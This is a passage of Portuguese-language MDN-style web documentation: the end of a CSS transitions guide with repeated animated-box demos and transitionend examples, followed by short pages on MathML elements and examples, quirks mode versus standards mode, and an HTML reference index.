100px;\n  background-color: red;\n  font-size: 20px;\n  left: 0px;\n  top: 0px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left\n    top transform -webkit-transform color;\n  -webkit-transition-duration: 0.5s;\n  -webkit-transition-timing-function: ease-in-out;\n  transition-property: width height background-color font-size left top\n    transform -webkit-transform color;\n  transition-duration: 0.5s;\n  transition-timing-function: ease-in-out;\n}\n.box1 {\n  transform: rotate(270deg);\n  -webkit-transform: rotate(270deg);\n  width: 50px;\n  height: 50px;\n  background-color: blue;\n  color: yellow;\n  font-size: 18px;\n  left: 150px;\n  top: 25px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left\n    top transform -webkit-transform color;\n  -webkit-transition-duration: 0.5s;\n  -webkit-transition-timing-function: ease-in-out;\n  transition-property: width height background-color font-size left top\n    transform -webkit-transformv color;\n  transition-duration: 0.5s;\n  transition-timing-function: ease-in-out;\n}\n```\n\n\n```\nfunction updateTransition() {\n  var el = document.querySelector(\"div.box\");\n\n  if (el) {\n    el.className = \"box1\";\n  } else {\n    el = document.querySelector(\"div.box1\");\n    el.className = \"box\";\n  }\n\n  return el;\n}\n\nvar intervalID = window.setInterval(updateTransition, 7000);\n```\n\n\n`transition-duration: 1s`\n```\n\n<div class=\"parent\">\n  <div class=\"box\">Lorem</div>\n</div>\n```\n\n\n```\n.parent {\n  width: 250px;\n  height: 125px;\n}\n.box {\n  width: 100px;\n  height: 100px;\n  background-color: red;\n  font-size: 20px;\n  left: 0px;\n  top: 0px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left\n    top -webkit-transform color;\n  -webkit-transition-duration: 1s;\n  -webkit-transition-timing-function: ease-in-out;\n  transition-property: width height background-color font-size left top\n    transform color;\n  transition-duration: 1s;\n  transition-timing-function: ease-in-out;\n}\n.box1 {\n  transform: rotate(270deg);\n  -webkit-transform: rotate(270deg);\n  width: 50px;\n  height: 50px;\n  background-color: blue;\n  color: yellow;\n  font-size: 18px;\n  left: 150px;\n  top: 25px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left\n    top -webkit-transform transform color;\n  -webkit-transition-duration: 1s;\n  -webkit-transition-timing-function: ease-in-out;\n  transition-property: width height background-color font-size left top\n    transform -webkit-transform color;\n  transition-duration: 1s;\n  transition-timing-function: ease-in-out;\n}\n```\n\n\n```\nfunction updateTransition() {\n  var el = document.querySelector(\"div.box\");\n\n  if (el) {\n    el.className = \"box1\";\n  } else {\n    el = document.querySelector(\"div.box1\");\n    el.className = \"box\";\n  }\n\n  return el;\n}\n\nvar intervalID = window.setInterval(updateTransition, 7000);\n```\n\n\n`transition-duration: 2s`\n```\n\n<div class=\"parent\">\n  <div class=\"box\">Lorem</div>\n</div>\n```\n\n\n```\n.parent {\n  width: 250px;\n  height: 125px;\n}\n.box {\n  width: 100px;\n  height: 100px;\n  background-color: red;\n  font-size: 20px;\n  left: 0px;\n  top: 0px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left\n    top transform -webkit-transform color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-timing-function: ease-in-out;\n  transition-property: width height background-color font-size left top\n    transform -webkit-transform color;\n  transition-duration: 2s;\n  transition-timing-function: ease-in-out;\n}\n.box1 {\n  transform: rotate(270deg);\n  -webkit-transform: rotate(270deg);\n  width: 50px;\n  height: 50px;\n  background-color: blue;\n  color: yellow;\n  font-size: 18px;\n  left: 150px;\n  top: 25px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left\n    top transform -webkit-transform color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-timing-function: ease-in-out;\n  transition-property: width height background-color font-size left top\n    transform -webkit-transform color;\n  transition-duration: 2s;\n  transition-timing-function: ease-in-out;\n}\n```\n\n\n```\nfunction updateTransition() {\n  var el = document.querySelector(\"div.box\");\n\n  if (el) {\n    el.className = \"box1\";\n  } else {\n    el = document.querySelector(\"div.box1\");\n    el.className = \"box\";\n  }\n\n  return el;\n}\n\nvar intervalID = window.setInterval(updateTransition, 7000);\n```\n\n\n`transition-duration: 4s`\n```\n\n<div class=\"parent\">\n  <div class=\"box\">Lorem</div>\n</div>\n```\n\n\n```\n.parent {\n  width: 250px;\n  height: 125px;\n}\n.box {\n  width: 100px;\n  height: 100px;\n  background-color: red;\n  font-size: 20px;\n  left: 0px;\n  top: 0px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left\n    top transform -webkit-transform color;\n  -webkit-transition-duration: 4s;\n  -webkit-transition-timing-function: ease-in-out;\n  transition-property: width height background-color font-size left top\n    transform -webkit-transform color;\n  transition-duration: 4s;\n  transition-timing-function: ease-in-out;\n}\n.box1 {\n  transform: rotate(270deg);\n  -webkit-transform: rotate(270deg);\n  width: 50px;\n  height: 50px;\n  background-color: blue;\n  color: yellow;\n  font-size: 18px;\n  left: 150px;\n  top: 25px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left\n    top transform -webkit-transform color;\n  -webkit-transition-duration: 4s;\n  -webkit-transition-timing-function: ease-in-out;\n  transition-property: width height background-color font-size left top\n    transform -webkit-transform color;\n  transition-duration: 4s;\n  transition-timing-function: ease-in-out;\n}\n```\n\n\n```\nfunction updateTransition() {\n  var el = document.querySelector(\"div.box\");\n\n  if (el) {\n    el.className = \"box1\";\n  } else {\n    el = document.querySelector(\"div.box1\");\n    el.className = \"box\";\n  }\n\n  return el;\n}\n\nvar intervalID = window.setInterval(updateTransition, 7000);\n```\n\n\n`transition-timing-function`\n\n![](/files/3434/TF_with_output_gt_than_1.png) Especifica uma função para definir como os valores intermediários das propriedades são calculados. As timing functions (en-US) determinam como os valores intermediários da transição são calculados. A maioria das funções de temporização pode ser especificada fornecendo o gráfico da função correspondente, conforme definido por quatro pontos definindo um bezier cúbico. Você também pode escolher o Easing Functions Cheat Sheet.\n\n\n`transition-timing-function: ease`\n```\n\n<div class=\"parent\">\n  <div class=\"box\">Lorem</div>\n</div>\n```\n\n\n```\n.parent {\n  width: 250px;\n  height: 125px;\n}\n.box {\n  width: 100px;\n  height: 100px;\n  background-color: red;\n  font-size: 20px;\n  left: 0px;\n  top: 0px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left\n    top color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-timing-function: ease;\n  transition-property: width height background-color font-size left top\n    color;\n  transition-duration: 2s;\n  transition-timing-function: ease;\n}\n.box1 {\n  width: 50px;\n  height: 50px;\n  background-color: blue;\n  color: yellow;\n  font-size: 18px;\n  left: 150px;\n  top: 25px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left\n    top color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-timing-function: ease;\n  transition-property: width height background-color font-size left top\n    color;\n  transition-duration: 2s;\n  transition-timing-function: ease;\n}\n```\n\n\n```\nfunction updateTransition() {\n  var el = document.querySelector(\"div.box\");\n\n  if (el) {\n    el.className = \"box1\";\n  } else {\n    el = document.querySelector(\"div.box1\");\n    el.className = \"box\";\n  }\n\n  return el;\n}\n\nvar intervalID = window.setInterval(updateTransition, 7000);\n```\n\n\n`transition-timing-function: linear`\n```\n\n<div class=\"parent\">\n  <div class=\"box\">Lorem</div>\n</div>\n```\n\n\n```\n.parent {\n  width: 250px;\n  height: 125px;\n}\n.box {\n  width: 100px;\n  height: 100px;\n  background-color: red;\n  font-size: 20px;\n  left: 0px;\n  top: 0px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left\n    top color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-timing-function: linear;\n  transition-property: width height background-color font-size left top\n    color;\n  transition-duration: 2s;\n  transition-timing-function: linear;\n}\n.box1 {\n  width: 50px;\n  height: 50px;\n  background-color: blue;\n  color: yellow;\n  font-size: 18px;\n  left: 150px;\n  top: 25px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left\n    top color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-timing-function: linear;\n  transition-property: width height background-color font-size left top\n    color;\n  transition-duration: 2s;\n  transition-timing-function: linear;\n}\n```\n\n\n```\nfunction updateTransition() {\n  var el = document.querySelector(\"div.box\");\n\n  if (el) {\n    el.className = \"box1\";\n  } else {\n    el = document.querySelector(\"div.box1\");\n    el.className = \"box\";\n  }\n\n  return el;\n}\n\nvar intervalID = window.setInterval(updateTransition, 7000);\n```\n\n\n`transition-timing-function: step-end`\n```\n\n<div class=\"parent\">\n  <div class=\"box\">Lorem</div>\n</div>\n```\n\n\n```\n.parent {\n  width: 250px;\n  height: 125px;\n}\n.box {\n  width: 100px;\n  height: 100px;\n  background-color: red;\n  font-size: 20px;\n  left: 0px;\n  top: 0px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left\n    top color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-timing-function: step-end;\n  transition-property: width height background-color font-size left top\n    color;\n  transition-duration: 2s;\n  transition-timing-function: step-end;\n}\n.box1 {\n  width: 50px;\n  height: 50px;\n  background-color: blue;\n  color: yellow;\n  font-size: 18px;\n  left: 150px;\n  top: 25px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left\n    top color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-timing-function: step-end;\n  transition-property: width height background-color font-size left top\n    color;\n  transition-duration: 2s;\n  transition-timing-function: step-end;\n}\n```\n\n\n```\nfunction updateTransition() {\n  var el = document.querySelector(\"div.box\");\n\n  if (el) {\n    el.className = \"box1\";\n  } else {\n    el = document.querySelector(\"div.box1\");\n    el.className = \"box\";\n  }\n\n  return el;\n}\n\nvar intervalID = window.setInterval(updateTransition, 7000);\n```\n\n\n`transition-timing-function: steps(4, end)`\n```\n\n<div class=\"parent\">\n  <div class=\"box\">Lorem</div>\n</div>\n```\n\n\n```\n.parent {\n  width: 250px;\n  height: 125px;\n}\n.box {\n  width: 100px;\n  height: 100px;\n  background-color: red;\n  font-size: 20px;\n  left: 0px;\n  top: 0px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left\n    top color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-timing-function: steps(4, end);\n  transition-property: width height background-color font-size left top\n    color;\n  transition-duration: 2s;\n  transition-timing-function: steps(4, end);\n}\n.box1 {\n  width: 50px;\n  height: 50px;\n  background-color: blue;\n  color: yellow;\n  font-size: 18px;\n  left: 150px;\n  top: 25px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left\n    top color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-timing-function: steps(4, end);\n  transition-property: width height background-color font-size left top\n    color;\n  transition-duration: 2s;\n  transition-timing-function: steps(4, end);\n}\n```\n\n\n```\nfunction updateTransition() {\n  var el = document.querySelector(\"div.box\");\n\n  if (el) {\n    el.className = \"box1\";\n  } else {\n    el = document.querySelector(\"div.box1\");\n    el.className = \"box\";\n  }\n\n  return el;\n}\n\nvar intervalID = window.setInterval(updateTransition, 7000);\n```\n\n\n`transition-delay`\n\nDefine quanto tempo esperar entre o momento que uma propriedade é alterada e a transição começa.\n\n`transition-delay: 0.5s`\n```\n\n<div class=\"parent\">\n  <div class=\"box\">Lorem</div>\n</div>\n```\n\n\n```\n.parent {\n  width: 250px;\n  height: 125px;\n}\n\n.box {\n  width: 100px;\n  height: 100px;\n  background-color: red;\n  font-size: 20px;\n  left: 0px;\n  top: 0px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left\n    top color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-delay: 0.5s;\n  -webkit-transition-timing-function: linear;\n  transition-property: width height background-color font-size left top\n    color;\n  transition-duration: 2s;\n  transition-delay: 0.5s;\n  transition-timing-function: linear;\n}\n\n.box1 {\n  width: 50px;\n  height: 50px;\n  background-color: blue;\n  color: yellow;\n  font-size: 18px;\n  left: 150px;\n  top: 25px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left\n    top color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-delay: 0.5s;\n  -webkit-transition-timing-function: linear;\n  transition-property: width height background-color font-size left top\n    color;\n  transition-duration: 2s;\n  transition-delay: 0.5s;\n  transition-timing-function: linear;\n}\n```\n\n\n```\nfunction updateTransition() {\n  var el = document.querySelector(\"div.box\");\n\n  if (el) {\n    el.className = \"box1\";\n  } else {\n    el = document.querySelector(\"div.box1\");\n    el.className = \"box\";\n  }\n\n  return el;\n}\n\nvar intervalID = window.setInterval(updateTransition, 7000);\n```\n\n\n`transition-delay: 1s`\n```\n\n<div class=\"parent\">\n  <div class=\"box\">Lorem</div>\n</div>\n```\n\n\n```\n.parent {\n  width: 250px;\n  height: 125px;\n}\n\n.box {\n  width: 100px;\n  height: 100px;\n  background-color: red;\n  font-size: 20px;\n  left: 0px;\n  top: 0px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left\n    top color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-delay: 1s;\n  -webkit-transition-timing-function: linear;\n  transition-property: width height background-color font-size left top\n    color;\n  transition-duration: 2s;\n  transition-delay: 1s;\n  transition-timing-function: linear;\n}\n\n.box1 {\n  width: 50px;\n  height: 50px;\n  background-color: blue;\n  color: yellow;\n  font-size: 18px;\n  left: 150px;\n  top: 25px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left\n    top color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-delay: 1s;\n  -webkit-transition-timing-function: linear;\n  transition-property: width height background-color font-size left top\n    color;\n  transition-duration: 2s;\n  transition-delay: 1s;\n  transition-timing-function: linear;\n}\n```\n\n\n```\nfunction updateTransition() {\n  var el = document.querySelector(\"div.box\");\n\n  if (el) {\n    el.className = \"box1\";\n  } else {\n    el = document.querySelector(\"div.box1\");\n    el.className = \"box\";\n  }\n\n  return el;\n}\n\nvar intervalID = window.setInterval(updateTransition, 7000);\n```\n\n\n`transition-delay: 2s`\n```\n\n<div class=\"parent\">\n  <div class=\"box\">Lorem</div>\n</div>\n```\n\n\n```\n.parent {\n  width: 250px;\n  height: 125px;\n}\n\n.box {\n  width: 100px;\n  height: 100px;\n  background-color: red;\n  font-size: 20px;\n  left: 0px;\n  top: 0px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left\n    top color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-delay: 2s;\n  -webkit-transition-timing-function: linear;\n  transition-property: width height background-color font-size left top\n    color;\n  transition-duration: 2s;\n  transition-delay: 2s;\n  transition-timing-function: linear;\n}\n\n.box1 {\n  width: 50px;\n  height: 50px;\n  background-color: blue;\n  color: yellow;\n  font-size: 18px;\n  left: 150px;\n  top: 25px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left\n    top color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-delay: 2s;\n  -webkit-transition-timing-function: linear;\n  transition-property: width height background-color font-size left top\n    color;\n  transition-duration: 2s;\n  transition-delay: 2s;\n  transition-timing-function: linear;\n}\n```\n\n\n```\nfunction updateTransition() {\n  var el = document.querySelector(\"div.box\");\n\n  if (el) {\n    el.className = \"box1\";\n  } else {\n    el = document.querySelector(\"div.box1\");\n    el.className = \"box\";\n  }\n\n  return el;\n}\n\nvar intervalID = window.setInterval(updateTransition, 7000);\n```\n\n\n`transition-delay: 4s`\n```\n\n<div class=\"parent\">\n  <div class=\"box\">Lorem</div>\n</div>\n```\n\n\n```\n.parent {\n  width: 250px;\n  height: 125px;\n}\n\n.box {\n  width: 100px;\n  height: 100px;\n  background-color: red;\n  font-size: 20px;\n  left: 0px;\n  top: 0px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left\n    top color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-delay: 4s;\n  -webkit-transition-timing-function: ease-in-out;\n  transition-property: width height background-color font-size left top\n    color;\n  transition-duration: 2s;\n  transition-delay: 4s;\n  transition-timing-function: ease-in-out;\n}\n\n.box1 {\n  width: 50px;\n  height: 50px;\n  background-color: blue;\n  color: yellow;\n  font-size: 18px;\n  left: 150px;\n  top: 25px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left\n    top color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-delay: 4s;\n  -webkit-transition-timing-function: ease-in-out;\n  transition-property: width height background-color font-size left top\n    color;\n  transition-duration: 2s;\n  transition-delay: 4s;\n  transition-timing-function: ease-in-out;\n}\n```\n\n\n```\nfunction updateTransition() {\n  var el = document.querySelector(\"div.box\");\n\n  if (el) {\n    el.className = \"box1\";\n  } else {\n    el = document.querySelector(\"div.box1\");\n    el.className = \"box\";\n  }\n\n  return el;\n}\n\nvar intervalID = window.setInterval(updateTransition, 7000);\n```\n\n\nA sintaxe do CSS é abreviada da seguinte forma:\n\n\n```css\ndiv {\n  transition: <property> <duration> <timing-function> <delay>;\n}\n```\n\nExemplos\n--------\n\n### Exemplo simples\n\nEsse exemplo executa uma transição de com duração de 4 segundos de delay entre o tempo que o usuário passa o mouse sobre o elemento (evento mouseover), e o início do efeito da animação\n\n\n```css\n#delay {\n  font-size: 14px;\n  transition-property: font-size;\n  transition-duration: 4s;\n  transition-delay: 2s;\n}\n\n#delay:hover {\n  font-size: 36px;\n}\n```\n\n### Exemplo de multiplicas animações de propriedades\n```\n\n<body>\n  <p>\n    The box below combines transitions for: width, height, background-color,\n    transform. Hover over the box to see these properties animated.\n  </p>\n  <div class=\"box\">Sample</div>\n</body>\n```\n\n\n#### Conteúdo CSS\n\n\n```css\n.box {\n  border-style: solid;\n  border-width: 1px;\n  display: block;\n  width: 100px;\n  height: 100px;\n  background-color: #0000ff;\n  -webkit-transition:\n    width 2s,\n    height 2s,\n    background-color 2s,\n    -webkit-transform 2s;\n  transition:\n    width 2s,\n    height 2s,\n    background-color 2s,\n    transform 2s;\n}\n\n.box:hover {\n  background-color: #ffcccc;\n  width: 200px;\n  height: 200px;\n  -webkit-transform: rotate(180deg);\n  transform: rotate(180deg);\n}\n```\n\n### Quando os tamanhos dos valores das listas das propriedades são de tamanhos diferentes\n\nSe alguma propriedade da lista de valores for menor que os outros, esse valor será repetido para que eles correspondam. Por exemplo:\n\n\n```css\ndiv {\n  transition-property: opacity, left, top, height;\n  transition-duration: 3s, 5s;\n}\n```\n\n\nIsso é tratado como se fosse:\n\n\n```css\ndiv {\n  transition-property: opacity, left, top, height;\n  transition-duration: 3s, 5s, 3s, 5s;\n}\n```\n\n\nDa mesma forma, se um valor da propriedade da lista, for maior que a `transition-property` (en-US), ela será truncada, então você terá o seguinte CSS:\n\n\n```css\ndiv {\n  transition-property: opacity, left;\n  transition-duration: 3s, 5s, 2s, 1s;\n}\n```\n\n\nIsso pode ser interpretado como:\n\n\n```css\ndiv {\n  transition-property: opacity, left;\n  transition-duration: 3s, 5s;\n}\n```\n\n### Usando transições ao destacar menus\n\nUm uso comum de css é para destacar os itens do menu, como hover quando o usúario passa o mouse sobre um elemento. É facíl fácil usar transições CSS para tornar o efeito mais atraente;\n\nAntes de olharmos para os códigos, você poderia dar uma olhada nesse live demo (assumindo que seu browser suporte transições).\n\nPrimeiro, nós criamos o menu utilizando apenas HTML\n\n\n```html\n<nav>\n  <a href=\"#\">Home</a>\n  <a href=\"#\">About</a>\n  <a href=\"#\">Contact Us</a>\n  <a href=\"#\">Links</a>\n</nav>\n```\n\n\nEm seguida, nós implementamos o CSS para implementar o visual e aparência do nosso menu. As partes relevantes são serão mostrada aqui:\n\n\n```css\na {\n  color: #fff;\n  background-color: #333;\n  transition: all 1s ease-out;\n}\n\na:hover,\na:focus {\n  color: #333;\n  background-color: #fff;\n}\n```\n\n\nEste CSS estabelece a aparência do menu, com as cores de fundo e texto mudando quando o o ocorre o evento de `:hover` e estado de `:focus`.\n\nExemplos JavaScript\n-------------------\n\n**Nota:** Cuidados devem ser tomados ao usar uma transição imediatamente após:\n\n* adding the element to the DOM using `.appendChild()`\n* removing an element's `display: none;` property.\n\nThis is treated as if the initial state had never occurred and the element was always in its final state. The easy way to overcome this limitation is to apply a `window.setTimeout()` of a handful of milliseconds before changing the CSS property you intend to transition to.\n\n### Using transitions to make JavaScript functionality smooth\n\nTransitions are a great tool to make things look much smoother without having to do anything to your JavaScript functionality. Take the following example.\n\n\n```html\n<p>Click anywhere to move the ball</p>\n<div id=\"foo\"></div>\n```\n\n\nUsing JavaScript you can make the effect of moving the ball to a certain position happen:\n\n\n```js\nvar f = document.getElementById(\"foo\");\ndocument.addEventListener(\n  \"click\",\n  function (ev) {\n    f.style.transform = \"translateY(\" + (ev.clientY - 25) + \"px)\";\n    f.style.transform += \"translateX(\" + (ev.clientX - 25) + \"px)\";\n  },\n  false,\n);\n```\n\n\nWith CSS you can make it smooth without any extra effort. Simply add a transition to the element and any change will happen smoothly:\n\n\n```css\np {\n  padding-left: 60px;\n}\n\n#foo {\n  border-radius: 50px;\n  width: 50px;\n  height: 50px;\n  background: #c00;\n  position: absolute;\n  top: 0;\n  left: 0;\n  transition: transform 1s;\n}\n```\n\n\nVocê pode brincar um pouco aqui: http://jsfiddle.net/9h261pzo/291/\n\n### Detectando o começo e a completude de uma transição\n\nVocê pode usar o evento `transitionend (en-US)` para detectar a uma animação que estava sendo executada chegou ao fim. Esse é o objeto `TransitionEvent` (en-US), que possúi duas propriedades adicionadas além do objeto típico\n\n`propertyName`\n\nA string indicando o nome da propriedade CSS cuja transição será completada\n\n`elapsedTime`\n\nA float indicating the number of seconds the transition had been running at the time the event fired. This value isn't affected by the value of `transition-delay`.\n\nAs usual, you can use the `addEventListener()` method to monitor for this event:\n\n\n```js\nel.addEventListener(\"transitionend\", updateTransition, true);\n```\n\n\nVocê detecta o começo de uma transição usando `transitionrun` (antes do delay) e `transitionstart` (depois do delay):\n\n\n```js\nel.addEventListener(\"transitionrun\", signalStart, true);\nel.addEventListener(\"transitionstart\", signalStart, true);\n```\n\n\n**Nota:**: O evento `transitionend` não dispara se a transição é abortada antes de a transição ser concluída, porque o efeito é feito com `display``: none`\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Transitions  |\n\nVeja Também\n-----------\n\n* The `TransitionEvent` (en-US) interface and the `transitionend (en-US)` event.\n* Utilizando animações css"}
{"title":"MathML element reference - MathML","text":"MathML element reference\n========================\n\nEssa é uma lista alfabética dos elementos de **apresentação** de MathML.\n\nO termo **marcação de apresentação** é usado para descrever a estrutura da notação matemática, enquanto que **marcação de conteúdo** fornece um significado matemático básico e não é feito para ser renderizado pelo parser de MathML (ver Erro do Firefox 276028). Se você desejar aprender mais sobre marcação de conteúdo considere o Capítulo 4 na especificação do MathML 3.\n\n### math\n\n* `<math> (en-US)` (Elemento de alto nível)\n### A\n\n* `<maction> (en-US)` (Binded actions to sub-expressions)\n* `<maligngroup>` (Grupo de alinhamento)\n* `<malignmark>` (Pontos de alinhamento)\n### E\n\n* `<menclose> (en-US)` (Enclosed contents)\n* `<merror> (en-US)` (Enclosed syntax error messages)\n### F\n\n* `<mfenced> (en-US)` (Parenteses)\n* `<mfrac> (en-US)` (Fração)\n### G\n\n* `<mglyph>` (Exibindo símbolos non-standard)\n### I\n\n* `<mi> (en-US)` (Identifier)\n### L\n\n* `<mlabeledtr>` (Labeled row in a table or a matrix)\n* `<mlongdiv>` (Notação de longa divisão)\n### M\n\n* `<mmultiscripts> (en-US)` (Prescripts and tensor indices)\n### N\n\n* `<mn> (en-US)` (Número)\n### O\n\n* `<mo> (en-US)` (Operador)\n* `<mover> (en-US)` (Overscript)\n### P\n\n* `<mpadded> (en-US)` (Space around content)\n* `<mphantom> (en-US)` (Invisible content with reserved space)\n### R\n\n* `<mroot> (en-US)` (Radical with specified index)\n* `<mrow> (en-US)` (Grouped sub-expressions)\n### S\n\n* `<ms> (en-US)` (String literal)\n* `<mscarries>` (Annotations such as carries)\n* `<mscarry>` (Single carry, child element of `<mscarries>`)\n* `<msgroup>` (Grouped rows of `<mstack>` and `<mlongdiv>` elements)\n* `<msline>` (Linhas horizontais dentro de elementos `<mstack>`)\n* `<mspace> (en-US)` (Espaço)\n* `<msqrt> (en-US)` (Raiz quadrada sem index)\n* `<msrow>` (Colunas nos elementos `<mstack>`)\n* `<mstack>` (Stacked alignment)\n* `<mstyle> (en-US)` (Style change)\n* `<msub> (en-US)` (Subscript)\n* `<msup> (en-US)` (Superscript)\n* `<msubsup> (en-US)` (Subscript-superscript pair)\n### T\n\n* `<mtable> (en-US)` (Tabela ou matriz)\n* `<mtd> (en-US)` (Célula numa tabela ou matriz)\n* `<mtext> (en-US)` (Texto)\n* `<mtr> (en-US)` (Coluna numa tabela ou matriz)\n### U\n\n* `<munder> (en-US)` (Underscript)\n* `<munderover> (en-US)` (Underscript-overscript pair)\n### Other elements\n\n* `<semantics> (en-US)` (Container for semantic annotations)\n* `<annotation>` (en-US) (Anotações de dados)\n* `<annotation-xml>` (en-US) (Anotações XML)\nVer também\n----------\n\n* MathML\n* Referência de atributos de MathML (en-US)"}
{"title":"Exemplos - MathML","text":"Exemplos\n========\n\nAbaixo você irá encontrar alguns exemplos que irá ajudá-lo a entender como utilizar MathML para apresentar conceitos matemáticos complexos na Web.\n\nTeorema de Pitágoras (en-US)\n\nPequeno exemplo mostrando a demostração do Teorema de Pitágoras.\n\nSolução da equação do segundo grau (en-US)\n\nLinhas gerais de como descobrir a solução para equações do segundo grau.\n\nTestes para MathML\n\nGrande conjunto de tests para MathML."}
{"title":"Quirks Mode e Standards Mode - HTML: Linguagem de Marcação de Hipertexto","text":"Quirks Mode e Standards Mode\n============================\n\nNos velhos dias da web, páginas eram tipicamente escritas em duas versões: Uma para o Netscape Navigator, e outra para o Microsoft Internet Explorer. Quando os padrões web foram criados pelo W3C, navegadores não puderam começar a usá-los imediatamente, pois isto iria quebrar a maior parte dos sites existentes na web. Portanto os navegadores introduziram dois modos para tratar os novos padrões em sites condescendentes diferentemente dos antigos sites legados.\n\nExistem agora três modos usados pelos mecanismos de layout nos navegadores web: \"quirks mode\" (\"modo equivocado\"), \"almost standards mode\" (\"modo quase padrão\"), e \"full standards mode\" (\"modo de padrões completos\"). Em **quirks mode**, o layout emula o comportamento não-padrão do Netscape Navigator 4 e do Internet Explorer 5 para Windows que é requerido para não quebrar o conteúdo existente na Web. No **full standards mode**, o comportamento é (espera-se) o descrito pelas especificações do HTML e CSS. No **almost standards mode**, há apenas um número muito pequeno de peculiaridades não-padrão implementadas.\n\nComo os navegadores determinam qual modo usar?\n----------------------------------------------\n\nPara documentos HTML, os navegadores usam um DOCTYPE no início do documento para decidir se os tratarão em *quirks mode* ou *standards mode*. Para garantir que sua página use o *full standards mode*, certifique-se que sua página tenha um DOCTYPE como deste exemplo:\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>Olá Mundo!</title>\n  </head>\n  <body></body>\n</html>\n```\n\n\nO DOCTYPE mostrado no exemplo, `<!DOCTYPE html>`, é o mais simples possível, e o recomendado pelo HTML5. As versões anteriores do HTML padrão recomendavam outras variantes, mas todos os navegadores existentes hoje irão usar o *full standards mode* para este DOCTYPE, até mesmo o Internet Explorer 6. Não há razões válidas para usar um DOCTYPE mais complicado. Se você usar outro DOCTYPE, você pode correr o risco de escolher um que acione o almost *standards mode* ou o *quirks mode*.\n\nCertifique-se de colocar o DOCTYPE logo no início de seu documento HTML. Qualquer coisa antes do DOCTYPE, como um comentário ou uma declaração XML irá acionar o *quirks mode* no Internet Explorer 9 e versões anteriores.\n\nEm HTML5, o único propósito do DOCTYPE é de ativar o *full standards mode*. Versões mais antigas do padrão HTML deram significado adicional ao DOCTYPE, mas nenhum navegador jamais usou o DOCTYPE para qualquer outra coisa além de alternar entre o *quirks mode* e o *standards mode*.\n\nVeja também uma descrição detalhada de quando diferentes navegadores escolhem diferentes modos.\n\n### XHTML\n\nSe você servir sua página como XHTML usando o MIME type `application/xhtml+xml` no cabeçalho HTTP `Content-Type`, você não precisará de um DOCTYPE para ativar o *full standards mode*, já que tais documentos sempre usam este modo. Note porém que servir suas páginas como `application/xhtml+xml` irá fazer com que o Internet Explorer 8 (e anteriores) mostre uma caixa de diálogo para download de um formato desconhecido ao invés de exibir sua página, pois a primeira versão do Internet Explorer com suporte ao XHTML é o Internet Explorer 9.\n\nSe você servir conteúdo como XHTML usando o MIME type `text/html`, os navegadores irão lê-lo como HTML, e você precisará colocar o DOCTYPE para usar o *standards mode*.\n\nComo faço para ver o modo usado?\n--------------------------------\n\nNo Firefox, selecione *Propriedades da página* no menu de contexto, e procure por *Renderização*.\n\nNo Internet Explorer, pressione *F12*, e procure por *Modo de Documento*.\n\nQuais as diferenças entre os modos?\n-----------------------------------\n\nVeja a lista de peculiaridades (\"quirks\") e \"almost standards mode\" para entender a diferença entre estes modos."}
{"title":"Referência HTML - HTML: Linguagem de Marcação de Hipertexto","text":"Referência HTML\n===============\n\nEsta referência de HTML descreve todos os **elementos** e **atributos** do HTML, incluindo **atributos globais** que se aplicam a todos elementos.\n\nReferência de elementos do HTML\n\nEsta página lista todos os elementos do HTML que são criados usando tags.\n\nReferência de atributos do HTML\n\nOs elementos do HTML contêm atributos, que são valores adicionais que configuram os elementos ou ajustam seu comportamento de várias formas, para que se adaptem aos critérios dos usuários.\n\nAtributos globais\n\nAtributos globais são atributos comuns a todos os elementos do HTML; podem ser usados em todos os elementos, embora possam não ter efeito em alguns elementos.\n\nTipos de links (en-US)\n\nEm HTML, os tipos de links a seguir indicam o relacionamento entre dois documentos, em que um aponta para o outro usando um elemento `<a>`, `<area>` ou `<link>`.\n\nCategorias de conteúdo\n\nTodo elemento em HTML é membro de uma ou mais categorias de conteúdo — estas categorias agrupam elementos que compartilham características comuns."}
